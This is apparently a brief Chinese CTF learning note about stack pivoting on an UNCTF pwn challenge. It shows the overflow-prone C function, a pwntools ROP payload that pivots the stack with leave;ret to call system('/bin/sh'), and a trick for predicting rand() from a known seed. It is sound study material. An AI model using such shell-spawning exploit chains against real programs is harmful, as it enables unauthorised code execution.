pwn

栈迁移的学习

Posted by Sagiring on 2023-03-01
Estimated Reading Time 1 Minutes
Words 185 In Total
Viewed Times

栈迁移的学习

unctf的一道题

`ssize_t back()`
`{`
  `char buf[32]; // [rsp+0h] [rbp-20h] BYREF`
  `printf("gift:%p\n", buf);`
  `return read(0, buf, 0x30uLL);`
`}`

能运行到后门函数 后门函数给了一块栈中的空间和开始的地址,开了NX

一. 调试wt.exe 和 学习GDB的调试功能

二.学习了栈迁移的原理

`r.send(p64(pop_rdi_addr) +                 (ROP)   
p64(gift_addr+24) +` 
`p64(system_addr) +` 
`b'/bin/sh\x00'.ljust(8, b'\x00') +      /bin/sh      
p64(gift_addr-8) +                      (栈迁移的地址-8)            rbp` 
`p64(leave_ret_addr))                   rbp+8 -> leave_ret      retn_addr`
image-20221116151457429
image-20221116153944826
image-20221116154046369
image-20221116154352506
image-20221116154408387
image-20221116154421475

三.学到了srand()与rand()

`elf = cdll.LoadLibrary('libc.so.6')`
`r = process("./pwn")`
`elf.srand(66)`
`r.sendlineafter(b'input a num:\n',str(elf.rand()))`

理解库、库函数、ELF